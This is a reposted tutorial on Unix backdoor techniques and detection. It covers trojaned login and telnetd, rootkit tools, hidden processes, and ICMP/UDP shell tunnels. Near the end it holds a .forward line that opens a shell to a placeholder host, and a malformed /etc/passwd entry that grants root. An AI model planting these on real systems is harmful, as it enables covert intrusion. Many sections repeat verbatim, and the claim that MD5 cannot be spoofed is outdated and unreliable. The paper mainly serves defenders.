I am not respnsible for what you do from the knowledge accquired from this explanatory tutorial:-
Since the early days of intruders breaking into computers, they have tried to develop techniques or backdoors that allow them to get back into the system. In this paper, it will be focused on many of the common backdoors and possible ways to check for them. Most of focus will be on Unix backdoors with some discussion on future Windows NT backdoors. This will describe the complexity of the issues in trying to determine the methods that intruders use and the basis for administrators understanding on how they might be able to stop the intruders from getting back in. When an administrator understands how difficult it would be to stop intruder once they are in, the appreciation of being proactive to block the intruder from ever getting in becomes better understood. This is intended to cover many of the popular commonly used backdoors by beginner and advanced intruders. This is not intended to cover every possible way to create a backdoor as the possibilities are limitless.
The backdoor for most intruders provide two or three main functions:
Be able to get back into a machine even if the administrator tries to secure it, e.g., changing all the passwords.
Be able to get back into the machine with the least amount of visibility. Most backdoors provide a way to avoid being logged and many times the machine can appear to have no one online even while an intruder is using it.
Be able to get back into the machine with the least amount of time. Most intruders want to easily get back into the machine without having to do all the work of exploiting a hole to gain access.
In some cases, if the intruder may think the administrator may detect any installed backdoor, they will resort to using the vulnerability repeatedly to get on a machine as the only backdoor. Thus not touching anything that may tip off the administrator. Therefore in some cases, the vulnerabilities on a machine remain the only unnoticed backdoor.
Password Cracking Backdoor
One of the first and oldest methods of intruders used to gain not only access to a Unix machine but backdoors was to run a password cracker. This uncovers weak passworded accounts. All these new accounts are now possible backdoors into a machine even if the system administrator locks out the intruder's current account. Many times, the intruder will look for unused accounts with easy passwords and change the password to something difficult. When the administrator looked for all the weak passworded accounts, the accounts with modified passwords will not appear. Thus the administrator will not be able to easily determine which accounts to lock out.
Rhosts + + Backdoor
On networked Unix machines, services like Rsh and Rlogin used a simple authentication method based on hostnames that appear in rhosts. A user could easily configure which machines not to require a password to log into. An intruder that gained access to someone's rhosts file could put a "+ +" in the file and that would allow anyone from anywhere to log into that account without a password. Many intruders use this method especially when NFS is exporting home directories to the world. These accounts become backdoors for intruders to get back into the system. Many intruders prefer using Rsh over Rlogin because it is many times lacking any logging capability. Many administrators check for "+ +" therefore an intruder may actually put in a hostname and username from another compromised account on the network, making it less obvious to spot.
Checksum and Timestamp Backdoors
Early on, many intruders replaced binaries with their own trojan versions. Many system administrators relied on time-stamping and the system checksum programs, e.g., Unix's sum program, to try to determine when a binary file has been modified. Intruders have developed technology that will recreate the same time-stamp for the trojan file as the original file. This is accomplished by setting the system clock time back to the original file's time and then adjusting the trojan file's time to the system clock. Once the binary trojan file has the exact same time as the original, the system clock is reset to the current time. The sum program relies on a CRC checksum and is easily spoofed. Intruders have developed programs that would modify the trojan binary to have the necessary original checksum, thus fooling the administrators. MD5 checksums is the recommended choice to use today by most vendors. MD5 is based on an algorithm that no one has yet to date proven can be spoofed.
Login Backdoor
On Unix, the login program is the software that usually does the password authentication when someone telnets to the machine. Intruders grabbed the source code to login.c and modified it that when login compared the user's password with the stored password, it would first check for a backdoor password. If the user typed in the backdoor password, it would allow you to log in regardless of what the administrator sets the passwords to. Thus this allowed the intruder to log into any account, even root. The password backdoor would spawn access before the user actually logged in and appeared in utmp and wtmp. Therefore an intruder could be logged in and have shell access without it appearing anyone is on that machine as that account. Administrators started noticing these backdoors especially if they did a "strings" command to find what text was in the login program. Many times the backdoor password would show up. The intruders then encrypted or hid the backdoor password better so it would not appear by just doing strings. Many of the administrators can detect these backdoors with MD5 checksums.
Telnetd Backdoor
When a user telnets to the machine, inetd service listens on the port and receive the connection and then passes it to in.telnetd, that then runs login. Some intruders knew the administrator was checking the login program for tampering, so they modified in.telnetd. Within in.telnetd, it does several checks from the user for things like what kind of terminal the user was using. Typically, the terminal setting might be Xterm or VT100. An intruder could backdoor it so that when the terminal was set to "letmein", it would spawn a shell without requiring any authentication. Intruders have backdoored some services so that any connection from a specific source port can spawn a shell.
Services Backdoor
Almost every network service has at one time been backdoored by an intruder. Backdoored versions of finger, rsh, rexec, rlogin, ftp, even inetd, etc., have been floating around forever. There are programs that are nothing more than a shell connected to a TCP port with maybe a backdoor password to gain access. These programs sometimes replace a service like uucp that never gets used or they get added to the inetd.conf file as a new service. Administrators should be very wary of what services are running and analyze the original services by MD5 checksums.
Early on, many intruders replaced binaries with their own trojan versions. Many system administrators relied on time-stamping and the system checksum programs, e.g., Unix's sum program, to try to determine when a binary file has been modified. Intruders have developed technology that will recreate the same time-stamp for the trojan file as the original file. This is accomplished by setting the system clock time back to the original file's time and then adjusting the trojan file's time to the system clock. Once the binary trojan file has the exact same time as the original, the system clock is reset to the current time. The sum program relies on a CRC checksum and is easily spoofed. Intruders have developed programs that would modify the trojan binary to have the necessary original checksum, thus fooling the administrators. MD5 checksums is the recommended choice to use today by most vendors. MD5 is based on an algorithm that no one has yet to date proven can be spoofed.
Login Backdoor
On Unix, the login program is the software that usually does the password authentication when someone telnets to the machine. Intruders grabbed the source code to login.c and modified it that when login compared the user's password with the stored password, it would first check for a backdoor password. If the user typed in the backdoor password, it would allow you to log in regardless of what the administrator sets the passwords to. Thus this allowed the intruder to log into any account, even root. The password backdoor would spawn access before the user actually logged in and appeared in utmp and wtmp. Therefore an intruder could be logged in and have shell access without it appearing anyone is on that machine as that account. Administrators started noticing these backdoors especially if they did a "strings" command to find what text was in the login program. Many times the backdoor password would show up. The intruders then encrypted or hid the backdoor password better so it would not appear by just doing strings. Many of the administrators can detect these backdoors with MD5 checksums.
Telnetd Backdoor
When a user telnets to the machine, inetd service listens on the port and receive the connection and then passes it to in.telnetd, that then runs login. Some intruders knew the administrator was checking the login program for tampering, so they modified in.telnetd. Within in.telnetd, it does several checks from the user for things like what kind of terminal the user was using. Typically, the terminal setting might be Xterm or VT100. An intruder could backdoor it so that when the terminal was set to "letmein", it would spawn a shell without requiring any authentication. Intruders have backdoored some services so that any connection from a specific source port can spawn a shell.
Services Backdoor
Almost every network service has at one time been backdoored by an intruder. Backdoored versions of finger, rsh, rexec, rlogin, ftp, even inetd, etc., have been floating around forever. There are programs that are nothing more than a shell connected to a TCP port with maybe a backdoor password to gain access. These programs sometimes replace a service like uucp that never gets used or they get added to the inetd.conf file as a new service. Administrators should be very wary of what services are running and analyze the original services by MD5 checksums.
Cronjob backdoor
Cronjob on Unix schedules when certain programs should be run. An intruder could add a backdoor shell program to run between 1 AM and 2 AM. So for 1 hour every night, the intruder could gain access. Intruders have also looked at legitimate programs that typically run in cronjob and built backdoors into those programs as well.
Library backdoor
Almost every UNIX system uses shared libraries. The shared libraries are intended to reuse many of the same routines thus cutting down on the size of programs. Some intruders have backdoored some of the routines like crypt.c and _crypt.c. Programs like login.c would use the crypt() routine and if a backdoor password was used it would spawn a shell. Therefore, even if the administrator was checking the MD5 of the login program, it was still spawning a backdoor routine and many administrators were not checking the libraries as a possible source of backdoors.
Cronjob on Unix schedules when certain programs should be run. An intruder could add a backdoor shell program to run between 1 AM and 2 AM. So for 1 hour every night, the intruder could gain access. Intruders have also looked at legitimate programs that typically run in cronjob and built backdoors into those programs as well.
Library backdoor
Almost every UNIX system uses shared libraries. The shared libraries are intended to reuse many of the same routines thus cutting down on the size of programs. Some intruders have backdoored some of the routines like crypt.c and _crypt.c. Programs like login.c would use the crypt() routine and if a backdoor password was used it would spawn a shell. Therefore, even if the administrator was checking the MD5 of the login program, it was still spawning a backdoor routine and many administrators were not checking the libraries as a possible source of backdoors.
One problem for many intruders was that some administrators started MD5 checksums of almost everything. One method intruders used to get around that is to backdoor the open() and file access routines. The backdoor routines were configured to read the original files, but execute the trojan backdoors. Therefore, when the MD5 checksum program was reading these files, the checksums always looked good. But when the system ran the program, it executed the trojan version. Even the trojan library itself,could be hidden from the MD5 checksums. One way to an administrator could get around this backdoor was to statically link the MD5 checksum checker and run on the system. The statically linked program does not use the trojan shared libraries.
Kernel backdoors
The kernel on Unix is the core of how Unix works. The same method used for libraries for bypassing MD5 checksum could be used at the kernel level, except even a statically linked program could not tell the difference. A good backdoored kernel is probably one of the hardest to find by administrators, fortunately kernel backdoor scripts have not yet been widely made available and no one knows how wide spread they really are.
File system backdoors
An intruder may want to store their loot or data on a server somewherewithout the administrator finding the files. The intruder's files can typically contain their toolbox of exploit scripts, backdoors, sniffer logs, copied data like email messages, source code, etc. To hide these sometimes large files from an administrator, an intruder may patch the files system commands like "ls", "du", and "fsck" to hide the existence of certain directories or files. At a very low level, one intruder's backdoor created a section on the hard drive to have a proprietary format that was designated as "bad" sectors on the hard drive. Thus an intruder could access those hidden files with only special tools, but to the regular administrator, it is very difficult to determine that the marked "bad" sectors were indeed storage area for the hidden file system.
Bootblock backdoors
In the PC world, many viruses have hid themselves within the bootblock section and most antivirus software will check to see if the bootblock has been altered. On Unix, most administrators do not have any software that checks the bootblock, therefore some intruders have hidden some backdoors
in the bootblock area.
Process hiding backdoors
An intruder many times wants to hide the programs they are running. The programs they want to hide are commonly a password cracker or a sniffer. There are quite a few methods and here are some of the more common:
An intruder may write the program to modify its own argv[] to make it look like another process name.
An intruder could rename the sniffer program to a legitimate service like in.syslog and run it. Thus when an administrator does a "ps" or looks at what is running, the standard service names appear.
An intruder could modify the library routines so that "ps" does not show all the processes.
An intruder could patch a backdoor or program into an interrupt driven routine so it does not appear in the process table. An example backdoor using this technique is amod.tar.gz available on
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html
An intruder could modify the kernel to hide certain processes as well.
Rootkit
One of the most popular packages to install backdoors is rootkit. It can easily be located using Web search engines. From the Rootkit README, here are the typical files that get installed:
z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ethernet sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - become root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified netstat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.
Network traffic backdoors
Not only do intruders want to hide their tracks on the machine, but alsothey want to hide their network traffic as much as possible. These networktraffic backdoors sometimes allow an intruder to gain access through a firewall. There are many network backdoor programs that allow an intruderto set up on a certain port number on a machine that will allow access without ever going through the normal services. Because the traffic is going to a non-standard network port, the administrator can overlook the intruder's traffic. These network traffic backdoors are typically using TCP, UDP, and ICMP, but it could be many other kinds of packets.
TCP Shell Backdoors
The intruder can set up these TCP Shell backdoors on some high port number possibly where the firewall is not blocking that TCP port. Many times, they will be protected with a password just so that an administrator that connects to it, will not immediately see shell access. An administrator can look for these connections with netstat to see what ports are listening and where current connections are going to and from. Many times, these backdoors allow an intruder to get past TCP Wrapper technology. These backdoors could be run on the SMTP port, which many firewalls allow traffic to pass for e-mail.
UDP Shell Backdoors
Administrator many times can spot a TCP connection and notice the odd behavior, while UDP shell backdoors lack any connection so netstat would not show an intruder accessing the Unix machine. Many firewalls have been configured to allow UDP packets for services like DNS through. Many times, intruders will place the UDP Shell backdoor on that port and it will be allowed to by-pass the firewall.
ICMP Shell Backdoors
Ping is one of the most common ways to find out if a machine is alive by sending and receiving ICMP packets. Many firewalls allow outsiders to ping internal machines. An intruder can put data in the Ping ICMP packets and tunnel a shell between the pinging machines. An administrator may notice a flurry of Ping packets, but unless the administrator looks at the data in the packets, an intruder can be unnoticed.
Encrypted Link
An administrator can set up a sniffer trying to see data appears as someone accessing a shell, but an intruder can add encryption to the Network traffic backdoors and it becomes almost impossible to determine what is actually being transmitted between two machines.
Windows NT
Because Windows NT does not easily allow multiple users on a single machine and remote access similar as Unix, it becomes harder for the intruder to break into Windows NT, install a backdoor, and launch an attack from it.Thus you will find more frequently network attacks that are spring boardedfrom a Unix box than Windows NT. As Windows NT advances in multi-usertechnologies, this may give a higher frequency of intruders who use WindowsNT to their advantage. And if this does happen, many of the concepts fromUnix backdoors can be ported to Windows NT and administrators can be readfor the intruder. Today, there are already telnet daemons available for Windows NT. With Network Traffic backdoors, they are very feasible forintruders to install on Windows NT.
Solutions
As backdoor technology advances, it becomes even harder for administratorsto determine if an intruder has gotten in or if they have been successfullylocked out.
File system backdoors
An intruder may want to store their loot or data on a server somewherewithout the administrator finding the files. The intruder's files can typically contain their toolbox of exploit scripts, backdoors, sniffer logs, copied data like email messages, source code, etc. To hide these sometimes large files from an administrator, an intruder may patch the files system commands like "ls", "du", and "fsck" to hide the existence of certain directories or files. At a very low level, one intruder's backdoor created a section on the hard drive to have a proprietary format that was designated as "bad" sectors on the hard drive. Thus an intruder could access those hidden files with only special tools, but to the regular administrator, it is very difficult to determine that the marked "bad" sectors were indeed storage area for the hidden file system.
Bootblock backdoors
In the PC world, many viruses have hid themselves within the bootblock section and most antivirus software will check to see if the bootblock has been altered. On Unix, most administrators do not have any software that checks the bootblock, therefore some intruders have hidden some backdoors
in the bootblock area.
Process hiding backdoors
An intruder many times wants to hide the programs they are running. The programs they want to hide are commonly a password cracker or a sniffer. There are quite a few methods and here are some of the more common:
An intruder may write the program to modify its own argv[] to make it look like another process name.
An intruder could rename the sniffer program to a legitimate service like in.syslog and run it. Thus when an administrator does a "ps" or looks at what is running, the standard service names appear.
An intruder could modify the library routines so that "ps" does not show all the processes.
An intruder could patch a backdoor or program into an interrupt driven routine so it does not appear in the process table. An example backdoor using this technique is amod.tar.gz available on
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html
An intruder could modify the kernel to hide certain processes as well.
Rootkit
One of the most popular packages to install backdoors is rootkit. It can easily be located using Web search engines. From the Rootkit README, here are the typical files that get installed:
z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ethernet sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - become root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified netstat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.
Network traffic backdoors
Not only do intruders want to hide their tracks on the machine, but alsothey want to hide their network traffic as much as possible. These networktraffic backdoors sometimes allow an intruder to gain access through a firewall. There are many network backdoor programs that allow an intruderto set up on a certain port number on a machine that will allow access without ever going through the normal services. Because the traffic is going to a non-standard network port, the administrator can overlook the intruder's traffic. These network traffic backdoors are typically using TCP, UDP, and ICMP, but it could be many other kinds of packets.
TCP Shell Backdoors
The intruder can set up these TCP Shell backdoors on some high port number possibly where the firewall is not blocking that TCP port. Many times, they will be protected with a password just so that an administrator that connects to it, will not immediately see shell access. An administrator can look for these connections with netstat to see what ports are listening and where current connections are going to and from. Many times, these backdoors allow an intruder to get past TCP Wrapper technology. These backdoors could be run on the SMTP port, which many firewalls allow traffic to pass for e-mail.
UDP Shell Backdoors
Administrator many times can spot a TCP connection and notice the odd behavior, while UDP shell backdoors lack any connection so netstat would not show an intruder accessing the Unix machine. Many firewalls have been configured to allow UDP packets for services like DNS through. Many times, intruders will place the UDP Shell backdoor on that port and it will be allowed to by-pass the firewall.
ICMP Shell Backdoors
Ping is one of the most common ways to find out if a machine is alive by sending and receiving ICMP packets. Many firewalls allow outsiders to ping internal machines. An intruder can put data in the Ping ICMP packets and tunnel a shell between the pinging machines. An administrator may notice a flurry of Ping packets, but unless the administrator looks at the data in the packets, an intruder can be unnoticed.
Encrypted Link
An administrator can set up a sniffer trying to see data appears as someone accessing a shell, but an intruder can add encryption to the Network traffic backdoors and it becomes almost impossible to determine what is actually being transmitted between two machines.
Windows NT
Because Windows NT does not easily allow multiple users on a single machine and remote access similar as Unix, it becomes harder for the intruder to break into Windows NT, install a backdoor, and launch an attack from it.Thus you will find more frequently network attacks that are spring boardedfrom a Unix box than Windows NT. As Windows NT advances in multi-usertechnologies, this may give a higher frequency of intruders who use WindowsNT to their advantage. And if this does happen, many of the concepts fromUnix backdoors can be ported to Windows NT and administrators can be readfor the intruder. Today, there are already telnet daemons available for Windows NT. With Network Traffic backdoors, they are very feasible forintruders to install on Windows NT.
Solutions
As backdoor technology advances, it becomes even harder for administratorsto determine if an intruder has gotten in or if they have been successfullylocked out.
Assessment
One of the first steps in being proactive is to assess how vulnerable your network is, thus being able to figure out what holes exist that should be fixed. Many commercial tools exist to help scan and audit the network and systems for vulnerabilities. Many companies could dramatically improve their security if they only installed the security patches made freely available by their vendors.
MD5 Baselines
One necessary component of a system scanner is MD5 checksum baselines.This MD5 baseline should be built up before a hacker attack with clean systems. Once a hacker is in and has installed backdoors, trying to create a baseline after the fact could incorporate the backdoors into the baseline. Several companies had been hacked and had backdoors installed on their systems for many months. Overtime, all the backups of the systems contained the backdoors. When some of these companies found out they had a hacker, they restored a backup in hopes of removing any backdoors. The effort was futile since they were restoring all the files, even the backdoored ones. The binary baseline comparison needs to be done before an attack happens.
Intrusion detection
Intrusion detection is becoming more important as organizations are hooking up and allowing connections to some of their machines. Most of the older intrusion detection technology was log-based events. The latest intrusion detection system (IDS) technology is based on real-time sniffing and network traffic security analysis. Many of the network traffic backdoors can now easily be detected. The latest IDS technology can take a look at the DNS UDP packets and determine if it matches the DNS protocol requests. If the data on the DNS port does not match the DNS protocol, an alert flag can be signaled and the data captured for further analysis. The same principle can be applied to the data in an ICMP packet to see if it is thenormal ping data or if it is carrying encrypted shell session.
Boot from CD-ROM.
Some administrators may want to consider booting from CD-ROM thus eliminating the possibility of an intruder installing a backdoor on the CD-ROM. The problem with this method is the cost and time of implementing this solution enterprise wide.
Vigilant
Because the security field is changing so fast, with new vulnerabilities being announced daily and intruders are constantly designing new attack and backdoor techniques, no security technology is effective without vigilance.
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Forward Backdoor
On Unix machines, placing commands into the .forward file was also a common method of regaining access. For the account ``username'' a .forward file might be constructed as follows:
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"
permutations of this method include alteration of the systems mail aliases file (most commonly located at /etc/aliases). Note that this is a simple permutation, the more advanced can run a simple script from the forward file that can take arbitrary commands via stdin (after minor preprocessing).
PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on the client and server).
> Using smrsh can effectively negate this backdoor (although it's quite
> possibly still a problem if you allow things like elm's filter or
> procmail which can run programs themselves...).
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you may want to add this "feature" that can act as a backdoor:
when specifying a wrong uid/gid in the /etc/password file, most login(1) implementations will fail to detect the wrong uid/gid and atoi(3) will set uid/gid to 0, giving super user privileges.
example:
rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
on Linux boxes, this will give uid 0 to user rmartin.
BROUGHT TO YOU BY::
CORE™
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